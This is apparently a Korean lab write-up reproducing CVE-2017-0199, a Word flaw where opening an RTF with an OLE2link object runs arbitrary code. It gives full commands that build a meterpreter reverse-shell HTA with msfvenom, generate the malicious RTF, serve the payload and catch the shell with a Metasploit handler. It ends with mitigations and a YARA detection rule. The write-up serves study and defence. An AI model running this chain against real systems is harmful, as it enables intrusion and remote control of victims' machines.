1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-0199

- MS Zero-day 공격으로, OLE2link 오브젝트를 포함한 워드파일을 열기만 하면 임의의 코드가 실행되는 취약점

영향받는 버전: Microsoft Word 모든 버전

 

2. 실습

2.1 환경

- 공격자 환경

[사진 2] 공격자 환경

 

- 피해자환경

[사진 3] 피해자 환경

2.2 실습

① PoC를 위한 파일은 Github에 올라온 오픈 소스를 사용 [2]

git clone https://github.com/bhdresh/CVE-2017-0199

 

② msfvenom을 사용해 리버스쉘을 생성하는 HTA 파일을 생성

msfvenom [3][4]
- 메타스플로잇 프레임워크에 포함되어 있는 페이로드 생성 도구로 칼리에 내장되어 있음
- 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합

 

- 해당 툴을 처음 사용해서 -h 옵션으로 사용법을 확인

> 실행 결과 중 Example 부분을 차용해 HTA 파일을 생성하면 될 것으로 판단

[사진 4] msfvenom 옵션

 

- [사진 2]에서 Example과 Options을 확인해보면 아래와 같은 페이로드를 완성할 수 있음

> -p windows/meterpreter/reverse_tcp: 리버스쉘을 생성하는 페이로드 사용

> LHOST=<공격자 IP>: 리버스쉘 생성시 접속할 공격자의 IP

> LPORT=<공격자 Port>: 리버스쉘 생성시 접속할 공격자의 Port

> -f <파일 포맷>: 파일 포맷 지정 (msfvenom --list format으로 사용가능한 포맷 확인 가능)

> -o <결과 파일명>: 앞서 설정한 옵션으로 생성할 결과 파일명

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f hta-psh -o report.hta

[사진 5] HTA 파일 생성

 

③ RTF 파일 생성

- ②에서 생성한 HTA 파일과 PoC 파일을 통해 RTF 파일을 생성

> -M gen: 악성 페이로드 생성

> -t RTF: 파일 유형으로 RTF 지정

> -w yeahhub.rtf: 공격에 사용할 RTF 파일명 지정

> -u hxxp://192.168.56.102:8000/report.hta: HTA 위치 지정

python cve-2017-0199_toolkit.py -M gen -t RTF -w yeahhub.rtf -u http://192.168.56.102:8000/report.hta

[사진 6] RTF 파일 생성

 

④ 웹 서버 구동

- 피해자가 악성 RTF 문서를 실행했을 때, 스크립트 형태의 악성코드를 전송해야 하므로 서버를 설정하는 것으로 판단됨.

> 아래 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용

> RTF 파일을 생성한 디렉터리에서 HTTP를 실행해야 한다고 함

python -m SimpleHTTPServer

[사진 7] 서버 실행

 

⑤ msfconsole을 이용한 멀티핸들러 설정

- 이부분에서 multi/handler에 대한 이해가 되지않아 구글링 결과를 정리하면 다음과 같음

⒜ 피해자가 파일을 실행한 후 공격자가 제어하는 호스트로 접속이 되어야 공격자의 추가 공격 가능

> 피해자가 RTF 파일을 실행해 공격자 서버에 접근해 HTA 파일을 다운받아 스크립트를 실행해 리버스쉘 생성

⒝ 이때, 들어오는 접속을 multi/handler로 받아 메타스플로잇 세션을 열어줌

> multi/handler로 해당 세션을 메타스플로잇으로 넘겨줘 공격자가 추가 악성 행위 수행

# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run

[사진 8] 메타스플로잇 실행

 

⑥ 피해시스템에서 파일 실행

[사진 9] 파일 실행

 

- [사진 8]에서 차단 해제를 클릭한 후 발생하는 알림창에서 예를 클릭

> ActiveX 실행 관련 알람 발생 후 문서가 실행됨

[사진 10] 차단 해제

 

⑦ 피해자 > 공격자 리버스쉘 생성

- 피해자 > 공격자 리버스쉘이 생성된 것을 확인할 수 있음

> 공격자:8000으로 접속하여 HTA 파일을 다운받음

> 피해 시스템에서 HTA 파일이 실행되 리버스쉘 생성

> multi/handler에 의해 메타스플로잇으로 해당 세션이 넘어가 추가 악성행위 가능

[사진 11] 리버스쉘 생성

 

[사진 12] 패킷 일부

 

- 위 과정을 요약하면 다음과 같음

[사진 13] 과정 요약

3. 대응방안

① 최신 보안 패치 적용

- 해당 취약점은 2017.04 MS에서 패치한 취약점

 

② 매크로 기능 비활성화

- 해당 취약점에서는 RTF 파일 실행 후 매크로 사용 시 악성코드에 감염

> 해당 취약점 외 공격자들이 악성코드 등을 유포하는데 매크로 기능을 주로 사용

 

③ 보안 장비에 탐지 규칙 적용 [5]

<예시>
rule rtf_objdata_urlmoniker_http {
 strings:
 $header = &quot;{\\rtf1&quot;
 $objdata = &quot;objdata 0105000002000000&quot; nocase
 $urlmoniker = &quot;E0C9EA79F9BACE118C8200AA004BA90B&quot; nocase
 $http = &quot;68007400740070003a002f002f00&quot; nocase
 condition:
 $header at 0 and $objdata and $urlmoniker and $http
 }

 

④ 불필요 또는 악성코드 유포 등에 사용된 확장자를 메일 보안 솔루션에서 필터링

> 확장자 차단에 따른 영향도 검토 필요

 

⑤ 출처가 불분명한 첨부파일 실행 주의/금지 등 기본적인 보안 방안 준수

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2017-0199
[2] https://github.com/bhdresh/CVE-2017-0199
[3] https://scytalezz.tistory.com/134
[4] https://dazemonkey.tistory.com/142
[5] https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
[6] https://securityaffairs.co/58077/breaking-news/cve-2017-0199-exploitation-poc.html
[7] https://www.boannews.com/media/view.asp?idx=117413&page=1&kind=1 

+ Recent posts